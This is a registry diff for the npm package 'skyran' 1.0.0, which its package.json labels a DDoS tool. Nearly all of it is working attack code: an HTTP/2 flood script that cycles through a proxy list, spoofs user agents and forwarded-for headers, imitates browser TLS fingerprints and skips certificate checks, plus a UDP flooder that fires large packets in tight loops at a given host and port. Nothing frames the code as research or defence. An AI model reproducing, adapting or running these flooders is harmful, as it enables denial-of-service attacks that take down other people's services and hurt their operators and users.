skyran 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,262 @@
1
+ const net = require("net");
2
+ const http2 = require("http2");
3
+ const tls = require("tls");
4
+ const cluster = require("cluster");
5
+ const url = require("url");
6
+ const crypto = require("crypto");
7
+ const fs = require("fs");
8
+
9
+ process.setMaxListeners(0);
10
+ require("events").EventEmitter.defaultMaxListeners = 0;
11
+
12
+ if (process.argv.length < 5){console.log(`Usage: node tls.js URL TIME REQ_PER_SEC THREADS\nExample: node tls.js https://tls.mrrage.xyz 500 8 1`); process.exit();}
13
+
14
+ const defaultCiphers = crypto.constants.defaultCoreCipherList.split(":");
15
+ const ciphers = "GREASE:" + [
16
+ defaultCiphers[2],
17
+ defaultCiphers[1],
18
+ defaultCiphers[0],
19
+ ...defaultCiphers.slice(3)
20
+ ].join(":");
21
+
22
+ const sigalgs = "ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256:ecdsa_secp384r1_sha384:rsa_pss_rsae_sha384:rsa_pkcs1_sha384:rsa_pss_rsae_sha512:rsa_pkcs1_sha512";
23
+
24
+ const ecdhCurve = "GREASE:x25519:secp256r1:secp384r1";
25
+
26
+ const secureOptions =
27
+ crypto.constants.SSL_OP_NO_SSLv2 |
28
+ crypto.constants.SSL_OP_NO_SSLv3 |
29
+ crypto.constants.SSL_OP_NO_TLSv1 |
30
+ crypto.constants.SSL_OP_NO_TLSv1_1 |
31
+ crypto.constants.ALPN_ENABLED |
32
+ crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION |
33
+ crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE |
34
+ crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT |
35
+ crypto.constants.SSL_OP_COOKIE_EXCHANGE |
36
+ crypto.constants.SSL_OP_PKCS1_CHECK_1 |
37
+ crypto.constants.SSL_OP_PKCS1_CHECK_2 |
38
+ crypto.constants.SSL_OP_SINGLE_DH_USE |
39
+ crypto.constants.SSL_OP_SINGLE_ECDH_USE |
40
+ crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
41
+
42
+ const secureProtocol = "TLS_client_method";
43
+ const headers = {};
44
+
45
+ const secureContextOptions = {
46
+ ciphers: ciphers,
47
+ sigalgs: sigalgs,
48
+ honorCipherOrder: true,
49
+ secureOptions: secureOptions,
50
+ secureProtocol: secureProtocol
51
+ };
52
+
53
+ const secureContext = tls.createSecureContext(secureContextOptions);
54
+
55
+ var proxyFile = "proxy.txt";
56
+ var proxies = readLines(proxyFile);
57
+ var userAgents = readLines("ua.txt");
58
+
59
+ const args = {
60
+ target: process.argv[2],
61
+ time: ~~process.argv[3],
62
+ Rate: ~~process.argv[4],
63
+ threads: ~~process.argv[5]
64
+ }
65
+
66
+ const parsedTarget = url.parse(args.target);
67
+
68
+ if (cluster.isMaster) {
69
+ for (let counter = 1; counter <= args.threads; counter++) {
70
+ //console.log("Threads " + counter + " started.");
71
+ cluster.fork();
72
+ }
73
+ } else {for (let i = 0; i < 10; i++) { setInterval(runFlooder, 0) }}
74
+
75
+ class NetSocket {
76
+ constructor(){}
77
+
78
+ HTTP(options, callback) {
79
+ const parsedAddr = options.address.split(":");
80
+ const addrHost = parsedAddr[0];
81
+ const payload = "CONNECT " + options.address + ":443 HTTP/1.1\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; //Keep Alive
82
+ const buffer = new Buffer.from(payload);
83
+
84
+ const connection = net.connect({
85
+ host: options.host,
86
+ port: options.port,
87
+ allowHalfOpen: true,
88
+ writable: true,
89
+ readable: true
90
+ });
91
+
92
+ connection.setTimeout(options.timeout * 10000);
93
+ connection.setKeepAlive(true, 10000);
94
+ connection.setNoDelay(true)
95
+
96
+ connection.on("connect", () => {
97
+ connection.write(buffer);
98
+ });
99
+
100
+ connection.on("data", chunk => {
101
+ const response = chunk.toString("utf-8");
102
+ const isAlive = response.includes("HTTP/1.1 200");
103
+ if (isAlive === false) {
104
+ connection.destroy();
105
+ return callback(undefined, "error: invalid response from proxy server");
106
+ }
107
+ return callback(connection, undefined);
108
+ });
109
+
110
+ connection.on("timeout", () => {
111
+ connection.destroy();
112
+ return callback(undefined, "error: timeout exceeded");
113
+ });
114
+
115
+ connection.on("error", error => {
116
+ connection.destroy();
117
+ return callback(undefined, "error: " + error);
118
+ });
119
+ }
120
+ }
121
+
122
+ const Socker = new NetSocket();
123
+
124
+ function readLines(filePath) {
125
+ return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
126
+ }
127
+
128
+ function randomIntn(min, max) {
129
+ return Math.floor(Math.random() * (max - min) + min);
130
+ }
131
+
132
+ function randomElement(elements) {
133
+ return elements[randomIntn(0, elements.length)];
134
+ }
135
+
136
+ function randomCharacters(length) {
137
+ output = ""
138
+ for (let count = 0; count < length; count++) {
139
+ output += randomElement(characters);
140
+ }
141
+ return output;
142
+ }
143
+
144
+ headers[":method"] = "GET";
145
+ headers[":path"] = parsedTarget.path;
146
+ headers[":scheme"] = "https";
147
+ headers["accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8";
148
+ headers["accept-language"] = "es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3";
149
+ headers["accept-encoding"] = "gzip, deflate, br";
150
+ headers["x-forwarded-proto"] = "https";
151
+ headers["cache-control"] = "no-cache, no-store,private, max-age=0, must-revalidate";
152
+ headers["sec-ch-ua-mobile"] = randomElement(["?0", "?1"]);
153
+ headers["sec-ch-ua-platform"] = randomElement(["Android", "iOS", "Linux", "macOS", "Windows"]);
154
+ headers["sec-fetch-dest"] = "document";
155
+ headers["sec-fetch-mode"] = "navigate";
156
+ headers["sec-fetch-site"] = "same-origin";
157
+ headers["upgrade-insecure-requests"] = "1";
158
+
159
+ function runFlooder() {
160
+ const proxyAddr = randomElement(proxies);
161
+ const parsedProxy = proxyAddr.split(":");
162
+
163
+ /** headers dynamic */
164
+ headers[":authority"] = parsedTarget.host
165
+ headers["user-agent"] = randomElement(userAgents);
166
+ headers["x-forwarded-for"] = parsedProxy[0];
167
+
168
+ const proxyOptions = {
169
+ host: parsedProxy[0],
170
+ port: ~~parsedProxy[1],
171
+ address: parsedTarget.host + ":443",
172
+ timeout: 15
173
+ };
174
+
175
+ Socker.HTTP(proxyOptions, (connection, error) => {
176
+ if (error) return
177
+
178
+ connection.setKeepAlive(true, 60000);
179
+ connection.setNoDelay(true)
180
+
181
+ const settings = {
182
+ enablePush: false,
183
+ initialWindowSize: 1073741823
184
+ };
185
+
186
+ const tlsOptions = {
187
+ port: 443,
188
+ secure: true,
189
+ ALPNProtocols: [
190
+ "h2"
191
+ ],
192
+ ciphers: ciphers,
193
+ sigalgs: sigalgs,
194
+ requestCert: true,
195
+ socket: connection,
196
+ ecdhCurve: ecdhCurve,
197
+ honorCipherOrder: false,
198
+ host: parsedTarget.host,
199
+ rejectUnauthorized: false,
200
+ clientCertEngine: "dynamic",
201
+ secureOptions: secureOptions,
202
+ secureContext: secureContext,
203
+ servername: parsedTarget.host,
204
+ secureProtocol: secureProtocol
205
+ };
206
+
207
+ const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions);
208
+
209
+ tlsConn.allowHalfOpen = true;
210
+ tlsConn.setNoDelay(true);
211
+ tlsConn.setKeepAlive(true, 60 * 1000);
212
+ tlsConn.setMaxListeners(0);
213
+
214
+ const client = http2.connect(parsedTarget.href, {
215
+ protocol: "https:",
216
+ settings: settings,
217
+ maxSessionMemory: 3333,
218
+ maxDeflateDynamicTableSize: 4294967295,
219
+ createConnection: () => tlsConn
220
+ //socket: connection,
221
+ });
222
+
223
+ client.setMaxListeners(0);
224
+ client.settings(settings);
225
+
226
+ client.on("connect", () => {
227
+ const IntervalAttack = setInterval(() => {
228
+ for (let i = 0; i < args.Rate; i++) {
229
+ headers["referer"] = "https://" + parsedTarget.host + parsedTarget.path;
230
+ const request = client.request(headers)
231
+
232
+ .on("response", response => {
233
+ request.close();
234
+ request.destroy();
235
+ return
236
+ });
237
+
238
+ request.end();
239
+ }
240
+ }, 1000);
241
+ });
242
+
243
+ client.on("close", () => {
244
+ client.destroy();
245
+ connection.destroy();
246
+ return
247
+ });
248
+
249
+ client.on("error", error => {
250
+ client.destroy();
251
+ connection.destroy();
252
+ return
253
+ });
254
+ });
255
+ }
256
+
257
+ const KillScript = () => process.exit(1);
258
+
259
+ setTimeout(KillScript, args.time * 1000);
260
+
261
+ process.on('uncaughtException', error => {});
262
+ process.on('unhandledRejection', error => {});
@@ -0,0 +1,53 @@
1
+ const dgram = require('dgram');
2
+
3
+ const target = process.argv[2];
4
+ const port = process.argv[3];
5
+ const duration = process.argv[4]
6
+ function generatePayload(size) {
7
+ let payload = Buffer.alloc(size);
8
+ payload.fill('PermenMD');
9
+ return payload;
10
+ }
11
+
12
+ const payload = generatePayload(65500);
13
+
14
+ setInterval(() => {
15
+ const socket = dgram.createSocket('udp4');
16
+ for (let p = 0; p < 50; p++) {
17
+ socket.send(payload, 0, payload.length, port, target);
18
+ socket.send(payload, 0, payload.length, port, target);
19
+ socket.send(payload, 0, payload.length, port, target);
20
+ socket.send(payload, 0, payload.length, port, target);
21
+ socket.send(payload, 0, payload.length, port, target);
22
+ socket.send(payload, 0, payload.length, port, target);
23
+ socket.send(payload, 0, payload.length, port, target);
24
+ socket.send(payload, 0, payload.length, port, target);
25
+ socket.send(payload, 0, payload.length, port, target);
26
+ socket.send(payload, 0, payload.length, port, target);
27
+ socket.send(payload, 0, payload.length, port, target);
28
+ socket.send(payload, 0, payload.length, port, target);
29
+ socket.send(payload, 0, payload.length, port, target);
30
+ socket.send(payload, 0, payload.length, port, target);
31
+ socket.send(payload, 0, payload.length, port, target);
32
+ socket.send(payload, 0, payload.length, port, target);
33
+ socket.send(payload, 0, payload.length, port, target);
34
+ socket.send(payload, 0, payload.length, port, target);
35
+ socket.send(payload, 0, payload.length, port, target);
36
+ socket.send(payload, 0, payload.length, port, target);
37
+ socket.send(payload, 0, payload.length, port, target);
38
+ socket.send(payload, 0, payload.length, port, target);
39
+ }
40
+ socket.send(payload, 0, payload.length, port, target, (err) => {
41
+ if (err) {
42
+ console.error('Error sending message:', err);
43
+ }
44
+ socket.close();
45
+ });
46
+ });
47
+
48
+ console.clear();
49
+ console.log(``);
50
+ setTimeout(() => {
51
+ console.log('Attack stopped.');
52
+ process.exit(0);
53
+ }, duration * 1000);
package/package.json ADDED
@@ -0,0 +1,38 @@
1
+ {
2
+ "name": "skyran",
3
+ "version": "1.0.0",
4
+ "description": "Tools Ddos Skyran",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "skyran": "./index.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node index.js"
11
+ },
12
+ "keywords": [],
13
+ "dependencies": {
14
+ "@whiskeysockets/baileys": "^6.7.6",
15
+ "axios": "^1.7.4",
16
+ "chalk": "^5.3.0",
17
+ "cluster": "^0.7.7",
18
+ "colors": "^1.4.0",
19
+ "crypto": "^1.0.1",
20
+ "dgram": "^1.0.1",
21
+ "gradient-string": "^2.0.2",
22
+ "hpack": "^1.0.0",
23
+ "http2": "^3.3.7",
24
+ "libphonenumber-js": "^1.11.7",
25
+ "mineflayer": "^4.20.1",
26
+ "net": "^1.0.2",
27
+ "pino": "^9.3.2",
28
+ "proxy-agent": "^6.4.0",
29
+ "socks": "^2.8.3",
30
+ "ssh2": "^1.15.0",
31
+ "tls": "^0.0.1",
32
+ "user-agents": "^1.1.294"
33
+ },
34
+ "directories": {
35
+ "lib": "lib"
36
+ },
37
+ "devDependencies": {}
38
+ }
@@ -0,0 +1,37 @@
1
+ {
2
+ "name": "skyran",
3
+ "version": "5.0.1",
4
+ "description": "Skyran Tools Ddos",
5
+ "main": "index.js",
6
+ "author": "SkyranX-Mods",
7
+ "license": "MIT",
8
+ "scripts": {
9
+ "start": "node index.js"
10
+ },
11
+ "keywords": [],
12
+ "dependencies": {
13
+ "@whiskeysockets/baileys": "^6.7.6",
14
+ "axios": "^1.7.4",
15
+ "chalk": "^5.3.0",
16
+ "cluster": "^0.7.7",
17
+ "colors": "^1.4.0",
18
+ "crypto": "^1.0.1",
19
+ "dgram": "^1.0.1",
20
+ "gradient-string": "^2.0.2",
21
+ "hpack": "^1.0.0",
22
+ "http2": "^3.3.7",
23
+ "libphonenumber-js": "^1.11.7",
24
+ "mineflayer": "^4.20.1",
25
+ "net": "^1.0.2",
26
+ "pino": "^9.3.2",
27
+ "proxy-agent": "^6.4.0",
28
+ "socks": "^2.8.3",
29
+ "ssh2": "^1.15.0",
30
+ "tls": "^0.0.1",
31
+ "user-agents": "^1.1.294"
32
+ },
33
+ "directories": {
34
+ "lib": "lib"
35
+ },
36
+ "devDependencies": {}
37
+ }